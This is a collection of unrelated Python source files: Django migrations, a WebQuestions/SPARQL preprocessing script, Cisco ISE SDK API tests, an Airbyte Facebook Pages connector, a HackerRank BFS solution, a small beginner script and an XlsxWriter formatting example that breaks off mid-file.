IPv6 addresses excludes: a List nacaddr IPv4 or IPv6 addresses Returns: a List of nacaddr IPv4 or IPv6 addresses """ superset = CollapseAddrList(superset) excludes = CollapseAddrList(excludes) ret_array = [] for ex in excludes: superset = RemoveAddressFromList(superset, ex) return CollapseAddrList(superset) ExcludeAddrs = AddressListExclude class PrefixlenDiffInvalidError(ipaddr.NetmaskValueError): """Holdover from ipaddr v1.""" if __name__ == '__main__': pass
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/InformationAPI/information/migrations/0004_auto_20201209_1427.py
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tyagisen/information
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# Generated by Django 3.1.3 on 2020-12-09 14:27 import ckeditor.fields from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('information', '0003_auto_20201207_0911'), ] operations = [ migrations.AlterField( model_name='information', name='info_list', field=ckeditor.fields.RichTextField(), ), ]
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/minmax3.py
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N = int(input("Введите количество прямоугольников") for i in range (N): a = int(input("Введите стороны прямоугольника") b = int(input()) P = 2*(a+b) if (i=1): Max = P if (P>Max): Max = P print(Max)
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/TextRay/hybridqa/preprocessing/webq/trainDataGen.py
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umich-dbgroup/TextRay-Release
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import os import json from kbEndPoint.utils.sparql import sparqlUtils from preprocessing import stringUtils from preprocessing import metricUtils import numpy as np import nltk import codecs import pandas as pd PREFIX = "/Users/funke/webq" # # RAW_QUESTION_PATH = os.path.join(PREFIX, "data/webquestions.examples.train.json") # QUESTION_PATH = os.path.join(PREFIX, "data/train.json") # SMART_TOPIC_PATH = os.path.join(PREFIX, "SMART/webquestions.examples.train.e2e.top10.filter.tsv") # ALL_TOPIC_PATH = os.path.join(PREFIX, "topics/train.csv") # CANDS_DIR = os.path.join(PREFIX, "cands-train") # CANDS_WTIH_CONSTRAINTS_DIR = os.path.join(PREFIX, "cands_with_constraints-train") # CANDS_WTIH_CONSTRAINTS_DIR_DEDUP = os.path.join(PREFIX, "cands_with_constraints-train") # CANDS_WTIH_CONSTRAINTS_RESCALED_DIR = os.path.join(PREFIX, "cands_with_constraints_rescaled-train") RAW_QUESTION_PATH = os.path.join(PREFIX, "data/webquestions.examples.test.json") QUESTION_PATH = os.path.join(PREFIX, "data/test.json") CANDS_DIR = os.path.join(PREFIX, "cands-test") CANDS_WTIH_CONSTRAINTS_DIR = os.path.join(PREFIX, "cands_with_constraints-test") CANDS_WTIH_CONSTRAINTS_DIR_DEDUP = os.path.join(PREFIX, "cands_with_constraints-test") SMART_TOPIC_PATH = os.path.join(PREFIX, "SMART/webquestions.examples.test.e2e.top10.filter.tsv") ALL_TOPIC_PATH = os.path.join(PREFIX, "topics/test.csv") CANDS_WTIH_CONSTRAINTS_RESCALED_DIR = os.path.join(PREFIX, "cands_with_constraints_rescaled-test") ANS_CONSTRAINT_RELATIONS = ["people.person.gender", "common.topic.notable_types", "common.topic.notable_for"] class Constraint(object): def __init__(self, mid, name, relation, is_ans_constraint, surface_form, st_pos, length): self.mid = mid self.name =name self.relation = relation self.is_ans_constraint = is_ans_constraint self.surface_form = surface_form self.st_pos = st_pos self.length = length def __str__(self): return str(self.mid) + " " + str(self.name) + " " + str(self.relation) + " " + str(self.is_ans_constraint) class Smart_Entity(object): def __init__(self, line): split_line = line.strip().split('\t') self.q_id = split_line[0] self.surface_form = split_line[1] self.st_pos = int(split_line[2]) self.length = int(split_line[3]) mid = split_line[4] if mid.startswith('/'): mid = mid[1:].replace('/', '.') self.mid = mid self.e_name = split_line[5] self.score = float(split_line[6]) def __str__(self): return str(self.surface_form) + " (" + str(self.mid) + "," + str(self.e_name) + ")" class WebQuestionsEndPoint(object): def __init__(self): self.sparql = sparqlUtils() self.topic_entity_dict = {} self.cache_maxsize = 10000 self.cvt_constraints_cache = {} self.cvt_constraints_cache_elements_fifo = [] self.topic_entity_dict = {} self.type_dict = {} self.type_name_dict = {} self.all_path_entity_cache = {} self.entity_name_cache={} def write_top_entities(self, entity_linking_path, ques_src, dest_topic_path): names = ['ques_id', 'mention', 'begin_index', 'length', 'mid', 'name', 'score'] df = pd.read_csv(entity_linking_path, delimiter='\t', names=names) df = df.dropna() df['mid'] = df['mid'].apply(lambda mid: mid[1:].replace('/', '.')) df = df.sort_values(['ques_id', 'score'], ascending=[True, False]) df = df.drop_duplicates(subset=['ques_id', 'mid']) # df = df.groupby('ques_id').reset_index(drop=True) df.to_csv(dest_topic_path, index=False, encoding='utf-8') def get_cands(self, ques_src, topic_src, dest_dir): if not os.path.exists(dest_dir): os.mkdir(dest_dir) topics_df = pd.read_csv(topic_src) file_json = json.load(open(ques_src, 'r')) questions = file_json for question in questions: questionId = question["QuestionId"] # if questionId != "WebQTrn-158": # continue print questionId dest_path = os.path.join(dest_dir, questionId + ".json") if os.path.exists(dest_path): continue topic_entities = topics_df[topics_df["ques_id"] == questionId].to_dict(orient='records') candidates = {} for e in topic_entities: topic_entity = e['mid'] if topic_entity in self.all_path_entity_cache: cands = self.all_path_entity_cache[topic_entity] print ("found") else: # print(topic_entity) cands = [] one_step = self.sparql.one_hop_expansion(topic_entity) for cand in one_step: relations = [cand[0]] cands.append({"relations": relations, "counts": cand[1], "entities": self.sparql.eval_one_hop_expansion(topic_entity, rel1=cand[0])}) two_step = self.sparql.two_hop_expansion(topic_entity) for cand in two_step: relations = [cand[0], cand[1]] cands.append({"relations": relations, "counts": cand[2], "entities": self.sparql.eval_two_hop_expansion(topic_entity, rel1=cand[0], rel2=cand[1])}) candidates[topic_entity] = cands self.all_path_entity_cache[topic_entity] = cands with open(dest_path, 'w+') as fp: json.dump(candidates, fp, indent=4) '''Add core constraints''' def generate_query_graph_cands(self, ques_src, topic_src, core_chain_path, dest_dir): topics_df = pd.read_csv(topic_src) questions = json.load(open(ques_src, 'r')) ans_dict = {} ques_str_dict = {} for question in questions: qid = question["QuestionId"] ques_str_dict[qid] = question["ProcessedQuestion"] ans_dict[qid] = question['Answers'] if not os.path.exists(dest_dir): os.makedirs(dest_dir) files = [f for f in os.listdir(core_chain_path) if os.path.isfile(os.path.join(core_chain_path, f))] for f in files: if ".DS_Store" in f: continue q_id = f.replace(".json", "") ques_string = ques_str_dict[q_id] if os.path.exists(os.path.join(dest_dir, q_id + ".json")): print("exists " + str(q_id)) continue ques_query_graph_cands = {} try: file_json = json.load(open(os.path.join(core_chain_path, f), 'r')) except: print(f) continue links_df = topics_df[topics_df["ques_id"] == q_id] links = links_df.to_dict(orient='records') print("Question " + q_id) for mid in file_json.keys(): topic_entity_names = links_df[links_df['mid'] == mid]['mid'].values if len(topic_entity_names) == 0: print('should have a topic entity name in topics path {}'.format(mid)) continue print(mid) topic_entity_name = topic_entity_names[0] answers = ans_dict[q_id] paths = file_json[mid] entity_query_graph_cands = [] for path in paths: main_relation = path["relations"] print main_relation constraints = self.__get_constraint_candidates__(ques_string, mid, topic_entity_name, main_relation, links) cands = self.__get_query_graph_cands__(mid, main_relation, constraints, answers) entity_query_graph_cands.extend(cands) ques_query_graph_cands[mid] = entity_query_graph_cands print("topic {} candidates size {}".format(mid, len(entity_query_graph_cands))) with open(os.path.join(dest_dir, q_id + ".json"), 'w+') as fp: json.dump(ques_query_graph_cands, fp, indent=4) def _add_cvt_to_cache(self, cvt_key, cvt_paths): self.cvt_constraints_cache_elements_fifo.append(cvt_key) self.cvt_constraints_cache[cvt_key] = cvt_paths if len(self.cvt_constraints_cache_elements_fifo) > self.cache_maxsize: to_delete = self.cvt_constraints_cache_elements_fifo.pop(0) del self.cvt_constraints_cache[to_delete] def __get_constraint_candidates__(self, ques_str, topic_entity, topic_entity_name, relation_path, links): candidates = [] for link in links: if metricUtils.jaccard_ch(topic_entity_name.lower(), link["mention"].lower()) > 0.4: continue if link["mid"] == topic_entity: continue if len(relation_path) == 2: rel_key = str(relation_path) if rel_key in self.cvt_constraints_cache: cvt_constraints = self.cvt_constraints_cache[rel_key] else: cvt_constraints = self.sparql.get_all_cvt_constraints(topic_entity, relation_path, False, link["mid"]) self._add_cvt_to_cache(rel_key, cvt_constraints) for rel in cvt_constraints: candidates.append(Constraint(link["mid"], link["name"], rel, False, link["mention"], link["begin_index"], link["length"])) relation_id = str(relation_path) if relation_id in self.type_dict: type_mids_rels = self.type_dict[relation_id] else: type_mids_rels = self.sparql.get_ans_constraint_candidates(topic_entity, relation_path, ANS_CONSTRAINT_RELATIONS, False) self.type_dict[relation_id] = type_mids_rels for mid in type_mids_rels.keys(): if mid in self.type_name_dict: names = self.type_name_dict[mid] else: names = self.sparql.get_names(mid) self.type_name_dict[mid] = names if names is None or len(names) == 0: continue match = stringUtils.match_names_to_mention(ques_str, names.split("/")) if match is None: continue candidates.append(Constraint(mid, names, type_mids_rels[mid], True, match[0], match[1], match[1] + match[2])) return candidates def __get_query_graph_cands__(self, topic_entity, main_relation, constraints, ans_entities): constraint_combinations = self.__get_constraint_combinations__(constraints) answer_entities = set(ans_entities) cands = [] for combination in constraint_combinations: entity_names = set(self.sparql.eval_all_constraints_named(topic_entity, main_relation, combination, False)) # entity_names = set() # for e in entities: # if e in self.entity_name_cache: # entity_names.add(self.entity_name_cache[e]) # else: # entity_name = self.sparql.get_names(e) # self.entity_name_cache[e] = entity_name # entity_names.add(entity_name) # common = entities.intersection(answer_entities) # reward = float(len(common)) / max(1.0, (len(entities) + len(answer_entities) - len(common))) if len(answer_entities) == 0: reward = 0,0,0 else: reward = metricUtils.compute_f1(answer_entities, entity_names) cand = {"relations": main_relation, "entities": list(entity_names), "constraints": [ob.__dict__ for ob in combination], "reward": reward} cands.append(cand) return cands def __get_constraint_combinations__(self, constraint_candidates): if len(constraint_candidates) == 0: return [[]] elif len(constraint_candidates) == 1: return [[], [constraint_candidates[0]]] conflicts = self.__get_conflicts__(constraint_candidates) constraint_combinations = self.__dfs_search_combinations__(conflicts) cand_lists = [] cand_lists.append([]) for constraint_combination in constraint_combinations: cand_list = [constraint_candidates[i] for i in constraint_combination] cand_lists.append(cand_list) return cand_lists def __get_conflicts__(self, constraint_candidates): cand_size = len(constraint_candidates) conflict_matrix = [] # conflict matrix (adjacent format) for i in range(cand_size): vec = [i] for j in range(i + 1, cand_size): cand_1 = constraint_candidates[i] cand_2 = constraint_candidates[j] conflict = cand_1.st_pos <= cand_2.st_pos + cand_2.length \ and cand_2.st_pos <= cand_1.st_pos + cand_1.length if conflict: vec.append(j) conflict_matrix.append(vec) return conflict_matrix def __dfs_search_combinations__(self, mat): ret_comb_list = [] n = len(mat) status = np.ones((n,), dtype='int32') stack = [] ptr = -1 while True: ptr = self.__nextPick__(ptr, status) if ptr == -1: # backtrace: restore status array if len(stack) == 0: break # indicating the end of searching pop_idx = stack.pop() for item in mat[pop_idx]: status[item] += 1 ptr = pop_idx else: stack.append(ptr) for item in mat[ptr]: status[item] -= 1 comb = list(stack) ret_comb_list.append(comb) return ret_comb_list def __nextPick__(self, ptr, status): n = len(status) for new_ptr in range(ptr + 1, n): if status[new_ptr] == 1: return new_ptr return -1 def get_lookup_key(self, topic, rel_data): if "constraints" in rel_data: look_up_key = topic + "_" + str(rel_data["relations"]) + "_" + str(rel_data["constraints"]) else: look_up_key = topic + "_" + str(rel_data["relations"]) return look_up_key def deduplicate(self, input_path, src_dir, dest_dir): questions = json.load(codecs.open(input_path, 'r', encoding='utf-8')) if not os.path.exists(dest_dir): os.makedirs(dest_dir) for q in questions: ques_id = q["QuestionId"] ques_path = os.path.join(src_dir, ques_id + ".json") if not os.path.exists(ques_path): continue print(ques_id) main_entity_paths = json.load(codecs.open(ques_path, 'r', encoding='utf-8')) look_up_keys = set() main_entity_paths_dedup = {} for topic in main_entity_paths: paths = [] for path in main_entity_paths[topic]: look_up_key = self.get_lookup_key(topic, path) if look_up_key in look_up_keys: continue look_up_keys.add(look_up_key) paths.append(path) print("{} deduplicated to {}".format(len(main_entity_paths[topic]), len(paths))) if len(paths) > 0: main_entity_paths_dedup[topic] = paths with open(os.path.join(dest_dir, ques_id + ".json"), 'w+') as fp: json.dump(main_entity_paths_dedup, fp, indent=4) def add_ids(self, src, dest): questions = json.load(codecs.open(src, 'r', encoding='utf-8')) to_write_json = [] for i, ques in enumerate(questions): ques_id = "WebQTest-{}".format(i) ques["QuestionId"] = ques_id ques["ProcessedQuestion"] = ques["utterance"] answer_set = set([]) target_value = ques['targetValue'] target_value = target_value[6: -1] target_value = target_value.replace(') (', ')###(') spt = target_value.split('###') for item in spt: ans_str = item[13: -1] if ans_str.startswith('"') and ans_str.endswith('"'): ans_str = ans_str[1: -1] if isinstance(ans_str, unicode): ans_str = ans_str.encode('utf-8') answer_set.add(ans_str) ques["Answers"] = list(answer_set) to_write_json.append(ques) with open(dest, 'w+') as fp: json.dump(to_write_json, fp, indent=4) def reward_with_max_f1(self, main_entity_paths): max_reward = 0, 0, 0 for topic in main_entity_paths: for path in main_entity_paths[topic]: if path["reward"][2] > max_reward[2]: max_reward = path["reward"] return max_reward def rescale_rewards_max(self, src_dir, dest_dir): if not os.path.exists(dest_dir): os.makedirs(dest_dir) files = [f for f in os.listdir(src_dir)] for f in files: if ".DS_Store" in f: continue ques_id = f.replace(".json", "") #print(ques_id) ques_path = os.path.join(src_dir, f) main_entity_paths = json.load(codecs.open(ques_path, 'r', encoding='utf-8')) max_ques_reward = self.reward_with_max_f1(main_entity_paths) for topic in main_entity_paths: for path in main_entity_paths[topic]: path["rescaled_reward"] = [path["reward"][0], path["reward"][1], path["reward"][2]] if max_ques_reward[2] > 0: reward = path["rescaled_reward"] reward[2] = float(reward[2]) * 1.0 / float(max_ques_reward[2]) if max_ques_reward[0] > 0: reward[0] = min(1.0, float(reward[0]) * 1.0 / float( max_ques_reward[0])) # hacky way of clipping if max_ques_reward[1] > 0: reward[1] = min(1.0, float(reward[1]) * 1.0 / float( max_ques_reward[1])) # hacky way of clipping with open(os.path.join(dest_dir, ques_id + ".json"), 'w+') as fp: json.dump(main_entity_paths, fp, indent=4) if __name__ == '__main__': endPoint = WebQuestionsEndPoint() # endPoint.add_ids(RAW_QUESTION_PATH, QUESTION_PATH) # endPoint.write_top_entities(SMART_TOPIC_PATH, QUESTION_PATH, ALL_TOPIC_PATH) # endPoint.get_cands(QUESTION_PATH, ALL_TOPIC_PATH, CANDS_DIR) # endPoint.generate_query_graph_cands(QUESTION_PATH, ALL_TOPIC_PATH, CANDS_DIR, CANDS_WTIH_CONSTRAINTS_DIR) # endPoint.deduplicate(QUESTION_PATH, CANDS_WTIH_CONSTRAINTS_DIR, CANDS_WTIH_CONSTRAINTS_DIR_DEDUP) endPoint.rescale_rewards_max(CANDS_WTIH_CONSTRAINTS_DIR_DEDUP, CANDS_WTIH_CONSTRAINTS_RESCALED_DIR)
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# -*- coding: utf-8 -*- """IdentityServicesEngineAPI nbar_app API fixtures and tests. Copyright (c) 2021 Cisco and/or its affiliates. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ import pytest from fastjsonschema.exceptions import JsonSchemaException from ciscoisesdk.exceptions import MalformedRequest from ciscoisesdk.exceptions import ciscoisesdkException from tests.environment import IDENTITY_SERVICES_ENGINE_VERSION pytestmark = pytest.mark.skipif(IDENTITY_SERVICES_ENGINE_VERSION != '3.1.1', reason='version does not match') def is_valid_get_nbar_apps(json_schema_validate, obj): if not obj: return False assert hasattr(obj, 'headers') assert hasattr(obj, 'content') assert hasattr(obj, 'text') assert hasattr(obj, 'response') assert hasattr(obj, 'status_code') json_schema_validate('jsd_1e8a476ad8455fdebad0d8973c810495_v3_1_1').validate(obj.response) return True def get_nbar_apps(api): endpoint_result = api.nbar_app.get_nbar_apps( filter='value1,value2', filter_type='string', page=0, size=0, sort='string', sort_by='string' ) return endpoint_result @pytest.mark.nbar_app def test_get_nbar_apps(api, validator): try: assert is_valid_get_nbar_apps( validator, get_nbar_apps(api) ) except Exception as original_e: with pytest.raises((JsonSchemaException, MalformedRequest)): print("ERROR: {error}".format(error=original_e)) raise original_e def get_nbar_apps_default(api): endpoint_result = api.nbar_app.get_nbar_apps( filter=None, filter_type=None, page=None, size=None, sort=None, sort_by=None ) return endpoint_result @pytest.mark.nbar_app def test_get_nbar_apps_default(api, validator): try: assert is_valid_get_nbar_apps( validator, get_nbar_apps_default(api) ) except Exception as original_e: with pytest.raises((JsonSchemaException, MalformedRequest, TypeError)): raise original_e def is_valid_create_nbar_app(json_schema_validate, obj): if not obj: return False assert hasattr(obj, 'headers') assert hasattr(obj, 'content') assert hasattr(obj, 'text') assert hasattr(obj, 'response') assert hasattr(obj, 'status_code') json_schema_validate('jsd_ccc30178afce5e51a65e96cd95ca1773_v3_1_1').validate(obj.response) return True def create_nbar_app(api): endpoint_result = api.nbar_app.create_nbar_app( active_validation=False, description='string', id='string', name='string', network_identities=[{'ports': 'string', 'protocol': 'string'}], payload=None ) return endpoint_result @pytest.mark.nbar_app def test_create_nbar_app(api, validator): try: assert is_valid_create_nbar_app( validator, create_nbar_app(api) ) except Exception as original_e: with pytest.raises((JsonSchemaException, MalformedRequest)): print("ERROR: {error}".format(error=original_e)) raise original_e def create_nbar_app_default(api): endpoint_result = api.nbar_app.create_nbar_app( active_validation=False, description=None, id=None, name=None, network_identities=None, payload=None ) return endpoint_result @pytest.mark.nbar_app def test_create_nbar_app_default(api, validator): try: assert is_valid_create_nbar_app( validator, create_nbar_app_default(api) ) except Exception as original_e: with pytest.raises((JsonSchemaException, MalformedRequest, TypeError)): raise original_e def is_valid_get_nbar_app_by_id(json_schema_validate, obj): if not obj: return False assert hasattr(obj, 'headers') assert hasattr(obj, 'content') assert hasattr(obj, 'text') assert hasattr(obj, 'response') assert hasattr(obj, 'status_code') json_schema_validate('jsd_61e99726f3745554a07ee102f74fe3bd_v3_1_1').validate(obj.response) return True def get_nbar_app_by_id(api): endpoint_result = api.nbar_app.get_nbar_app_by_id( id='string' ) return endpoint_result @pytest.mark.nbar_app def test_get_nbar_app_by_id(api, validator): try: assert is_valid_get_nbar_app_by_id( validator, get_nbar_app_by_id(api) ) except Exception as original_e: with pytest.raises((JsonSchemaException, MalformedRequest)): print("ERROR: {error}".format(error=original_e)) raise original_e def get_nbar_app_by_id_default(api): endpoint_result = api.nbar_app.get_nbar_app_by_id( id='string' ) return endpoint_result @pytest.mark.nbar_app def test_get_nbar_app_by_id_default(api, validator): try: assert is_valid_get_nbar_app_by_id( validator, get_nbar_app_by_id_default(api) ) except Exception as original_e: with pytest.raises((JsonSchemaException, MalformedRequest, TypeError)): raise original_e def is_valid_update_nbar_app_by_id(json_schema_validate, obj): if not obj: return False assert hasattr(obj, 'headers') assert hasattr(obj, 'content') assert hasattr(obj, 'text') assert hasattr(obj, 'response') assert hasattr(obj, 'status_code') json_schema_validate('jsd_b55622f1671359919573b261ba16ea71_v3_1_1').validate(obj.response) return True def update_nbar_app_by_id(api): endpoint_result = api.nbar_app.update_nbar_app_by_id( active_validation=False, description='string', id='string', name='string', network_identities=[{'ports': 'string', 'protocol': 'string'}], payload=None ) return endpoint_result @pytest.mark.nbar_app def test_update_nbar_app_by_id(api, validator): try: assert is_valid_update_nbar_app_by_id( validator, update_nbar_app_by_id(api) ) except Exception as original_e: with pytest.raises((JsonSchemaException, MalformedRequest)): print("ERROR: {error}".format(error=original_e)) raise original_e def update_nbar_app_by_id_default(api): endpoint_result = api.nbar_app.update_nbar_app_by_id( active_validation=False, id='string', description=None, name=None, network_identities=None, payload=None ) return endpoint_result @pytest.mark.nbar_app def test_update_nbar_app_by_id_default(api, validator): try: assert is_valid_update_nbar_app_by_id( validator, update_nbar_app_by_id_default(api) ) except Exception as original_e: with pytest.raises((JsonSchemaException, MalformedRequest, TypeError)): raise original_e def is_valid_delete_nbar_app_by_id(json_schema_validate, obj): if not obj: return False assert hasattr(obj, 'headers') assert hasattr(obj, 'content') assert hasattr(obj, 'text') assert hasattr(obj, 'response') assert hasattr(obj, 'status_code') json_schema_validate('jsd_44d289d5685350f5b00f130db0a45142_v3_1_1').validate(obj.response) return True def delete_nbar_app_by_id(api): endpoint_result = api.nbar_app.delete_nbar_app_by_id( id='string' ) return endpoint_result @pytest.mark.nbar_app def test_delete_nbar_app_by_id(api, validator): try: assert is_valid_delete_nbar_app_by_id( validator, delete_nbar_app_by_id(api) ) except Exception as original_e: with pytest.raises((JsonSchemaException, MalformedRequest)): print("ERROR: {error}".format(error=original_e)) raise original_e def delete_nbar_app_by_id_default(api): endpoint_result = api.nbar_app.delete_nbar_app_by_id( id='string' ) return endpoint_result @pytest.mark.nbar_app def test_delete_nbar_app_by_id_default(api, validator): try: assert is_valid_delete_nbar_app_by_id( validator, delete_nbar_app_by_id_default(api) ) except Exception as original_e: with pytest.raises((JsonSchemaException, MalformedRequest, TypeError)): raise original_e
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/airbyte-integrations/connectors/source-facebook-pages/source_facebook_pages/streams.py
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# # Copyright (c) 2021 Airbyte, Inc., all rights reserved. # from abc import ABC from typing import Any, Iterable, Mapping, MutableMapping, Optional import requests from airbyte_cdk.sources.streams.http import HttpStream from source_facebook_pages.metrics import PAGE_FIELDS, PAGE_METRICS, POST_FIELDS, POST_METRICS class FacebookPagesStream(HttpStream, ABC): url_base = "https://graph.facebook.com/v11.0/" primary_key = "id" data_field = "data" def __init__( self, access_token: str = None, page_id: str = None, **kwargs, ): super().__init__(**kwargs) self._access_token = access_token self._page_id = page_id @property def path_param(self): return self.name[:-1] def next_page_token(self, response: requests.Response) -> Optional[Mapping[str, Any]]: data = response.json() if not data.get("data") or not data.get("paging"): return {} return { "limit": 100, "after": data.get("paging", {}).get("cursors", {}).get("after"), } def request_params( self, stream_state: Mapping[str, Any], stream_slice: Mapping[str, any] = None, next_page_token: Mapping[str, Any] = None, ) -> MutableMapping[str, Any]: next_page_token = next_page_token or {} params = {"access_token": self._access_token, **next_page_token} return params def parse_response(self, response: requests.Response, **kwargs) -> Iterable[Mapping]: if not self.data_field: yield response.json() records = response.json().get(self.data_field, []) for record in records: yield record class Page(FacebookPagesStream): """ API docs: https://developers.facebook.com/docs/graph-api/reference/page/, """ data_field = "" def path(self, **kwargs) -> str: return self._page_id def next_page_token(self, response: requests.Response) -> Optional[Mapping[str, Any]]: return None def request_params(self, **kwargs) -> MutableMapping[str, Any]: params = super().request_params(**kwargs) # we have to define which fields will return from Facebook API # because FB API doesn't provide opportunity to get fields dynamically without delays # so in PAGE_FIELDS we define fields that user can get from API params["fields"] = PAGE_FIELDS return params class Post(FacebookPagesStream): """ https://developers.facebook.com/docs/graph-api/reference/v11.0/page/feed, """ def path(self, **kwargs) -> str: return f"{self._page_id}/posts" def request_params(self, **kwargs) -> MutableMapping[str, Any]: params = super().request_params(**kwargs) params["fields"] = POST_FIELDS return params class PageInsights(FacebookPagesStream): """ API docs: https://developers.facebook.com/docs/graph-api/reference/page/insights/, """ def path(self, **kwargs) -> str: return f"{self._page_id}/insights" def next_page_token(self, response: requests.Response) -> Optional[Mapping[str, Any]]: return None def request_params( self, stream_state: Mapping[str, Any], stream_slice: Mapping[str, any] = None, next_page_token: Mapping[str, Any] = None, ) -> MutableMapping[str, Any]: params = super().request_params(stream_state, stream_slice, next_page_token) params["metric"] = ",".join(PAGE_METRICS) return params class PostInsights(FacebookPagesStream): """ API docs: https://developers.facebook.com/docs/graph-api/reference/post/insights/, """ def path(self, **kwargs) -> str: return f"{self._page_id}/posts" def request_params( self, stream_state: Mapping[str, Any], stream_slice: Mapping[str, any] = None, next_page_token: Mapping[str, Any] = None, ) -> MutableMapping[str, Any]: params = super().request_params(stream_state, stream_slice, next_page_token) params["fields"] = f'insights.metric({",".join(POST_METRICS)})' return params def parse_response(self, response: requests.Response, **kwargs) -> Iterable[Mapping]: # unique case so we override this method records = response.json().get(self.data_field) or [] for insights in records: if insights.get("insights"): data = insights.get("insights").get("data") for insight in data: yield insight else: yield insights
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/python/facebook_abcs/graphs/bfs_short_reach.py
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''' Prompt: Consider an undirected graph where each edge is the same weight. Each of the nodes is labeled consecutively. You will be given a number of queries. For each query, you will be given a list of edges describing an undirected graph. After you create a representation of the graph, you must determine and report the shortest distance to each of the other nodes from a given starting position using the breadth-first search algorithm (BFS). Distances are to be reported in node number order, ascending. If a node is unreachable, print for that node. Each of the edges weighs 6 units of distance. For example, given a graph with nodes and edges, , a visual representation is: image The start node for the example is node . Outputs are calculated for distances to nodes through : . Each edge is units, and the unreachable node has the required return distance of . Function Description Complete the bfs function in the editor below. It must return an array of integers representing distances from the start node to each other node in node ascending order. If a node is unreachable, its distance is . bfs has the following parameter(s): n: the integer number of nodes m: the integer number of edges edges: a 2D array of start and end nodes for edges s: the node to start traversals from Input Format The first line contains an integer , the number of queries. Each of the following sets of lines has the following format: The first line contains two space-separated integers and , the number of nodes and edges in the graph. Each line of the subsequent lines contains two space-separated integers, and , describing an edge connecting node to node . The last line contains a single integer, , denoting the index of the starting node. Constraints Output Format For each of the queries, print a single line of space-separated integers denoting the shortest distances to each of the other nodes from starting position . These distances should be listed sequentially by node number (i.e., ), but should not include node . If some node is unreachable from , print as the distance to that node. Sample Input 2 # the number of queries 4 2 # n: number of nodes m: number of edges in the graph 1 2 # u and v: describing an edge connecting node u to node v 1 3 1 3 1 2 3 2 # s: denoting the index of the starting node. Sample Output 6 6 -1 -1 6 ''' # Very helpful Bread First Search is looping through a sorted array and adding to a queue # https: // www.youtube.com/watch?v = -uR7BSfNJko # Getting user input Iteration #1 # N = int(input()) # print(N) # for _ in range(N): # parts = input().strip().split(' ') # print(parts) for line in fileinput.input(): parts = line.strip().split(' ') print(parts) # Along with Breadth First Search Algorithm by lorisrossi https://www.hackerrank.com/challenges/bfsshortreach/forum def bfs(n, m, edges, s): from collections import deque # Build graph graph = {} for num in range(1, n+1): graph[num] = set() for l, r in edges: graph[l].add(r) graph[r].add(l) reached = {} # Explore graph once frontier = deque([(s, 0)]) seen = {s} while frontier: curr_node, curr_cost = frontier.popleft() for nbour in graph[curr_node]: if nbour not in seen: seen.add(nbour) reached[nbour] = curr_cost+6 frontier.append((nbour, curr_cost+6)) result = [] for node in range(1, n+1): if s != node: result.append(reached.get(node, -1)) return result
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/products/migrations/0039_auto_20200613_1112.py
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# Generated by Django 3.0.3 on 2020-06-13 11:12 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('products', '0038_auto_20200613_1108'), ] operations = [ migrations.AlterField( model_name='orderid', name='order_id', field=models.IntegerField(default=54268140), ), ]
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############################################################################### # # Example of how to add conditional formatting to an XlsxWriter file. # # Conditional formatting allows you to apply a format to a cell or a # range of cells based on certain criteria. # # SPDX-License-Identifier: BSD-2-Clause # Copyright 2013-2021, John McNamara, [email protected] # import xlsxwriter workbook = xlsxwriter.Workbook('conditional_format.xlsx') worksheet1 = workbook.add_worksheet() worksheet2 = workbook.add_worksheet() worksheet3 = workbook.add_worksheet() worksheet4 = workbook.add_worksheet() worksheet5 = workbook.add_worksheet() worksheet6 = workbook.add_worksheet() worksheet7 = workbook.add_worksheet() worksheet8 = workbook.add_worksheet() worksheet9 = workbook.add_worksheet() # Add a format. Light red fill with dark red text. format1 = workbook.add_format({'bg_color': '#FFC7CE', 'font_color': '#9C0006'}) # Add a format. Green fill with dark green text. format2 = workbook.add_format({'bg_color': '#C6EFCE', 'font_color': '#006100'}) # Some sample data to run the conditional formatting against. data = [ [34, 72, 38, 30, 75, 48, 75, 66, 84, 86], [6, 24, 1, 84, 54, 62, 60, 3, 26, 59], [28, 79, 97, 13, 85, 93, 93, 22, 5, 14], [27, 71, 40, 17, 18, 79, 90, 93, 29, 47], [88, 25, 33, 23, 67, 1, 59, 79, 47, 36], [24, 100, 20, 88, 29, 33, 38, 54, 54, 88], [6, 57, 88, 28, 10, 26, 37, 7, 41, 48], [52, 78, 1, 96, 26, 45, 47, 33, 96, 36], [60, 54, 81, 66, 81, 90, 80, 93, 12, 55], [70, 5, 46, 14, 71, 19, 66, 36, 41, 21], ] ############################################################################### # # Example 1. # caption = ('Cells with values >= 50 are in light red. ' 'Values < 50 are in light green.') # Write the data. worksheet1.write('A1', caption) for row, row_data in enumerate(data): worksheet1.write_row(row + 2, 1, row_data) # Write a conditional format over a range. worksheet1.conditional_format('B3:K12', {'type': 'cell', 'criteria': '>=', 'value': 50, 'format': format1}) # Write another conditional format over the same range. worksheet1.conditional_format('B3:K12', {'type': 'cell', 'criteria': '<', 'value': 50, 'format': format2}) ############################################################################### # # Example 2. # caption = ('Values between 30 and 70 are in light red. ' 'Values outside that range are in light green.') worksheet2.write('A1', caption) for row, row_data in enumerate(data): worksheet2.write_row(row + 2, 1, row_data) worksheet2.conditional_format('B3:K12', {'type': 'cell', 'criteria': 'between', 'minimum': 30, 'maximum': 70, 'format': format1}) worksheet2.conditional_format('B3:K12', {'type': 'cell', 'criteria': 'not between', 'minimum': 30, 'maximum': 70, 'format': format2}) ############################################################################### # # Example 3. # caption = ('Duplicate values are in light red. ' 'Unique values are in light green.') worksheet3.write('A1', caption) for row, row_data in enumerate(data): worksheet3.write_row(row + 2, 1, row_data) worksheet3.conditional_format('B3:K12', {'type': 'duplicate', 'format': format1}) worksheet3.conditional_format('B3:K12', {'type': 'unique', 